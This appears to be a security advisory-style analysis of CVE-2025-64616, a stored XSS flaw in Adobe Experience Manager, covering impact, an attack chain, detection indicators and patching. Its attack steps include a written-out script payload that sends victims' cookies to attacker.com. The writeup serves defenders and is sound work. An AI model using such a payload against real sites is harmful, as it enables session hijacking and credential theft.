CVE-2025-64616: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64616 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, but no special configuration. The changed scope indicates the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the attack can affect resources beyond the originating application context (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author/contributor account to access content editing functionality.
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and render it without proper sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save the content.
5. Trigger victim execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the injected field, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads.
• File System: Unexpected JavaScript content stored within AEM JCR repository nodes or page content files, particularly in form field properties.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or session data exfiltration patterns.
• Process/Application: AEM error logs showing unexpected script rendering or content sanitization bypass events.

Adobe has released patches addressing CVE-2025-64616 in security bulletin APSB25-115. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service users should ensure their environment is updated to the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant social media discussion or notable researcher commentary specific to CVE-2025-64616 has been identified beyond standard vulnerability tracking.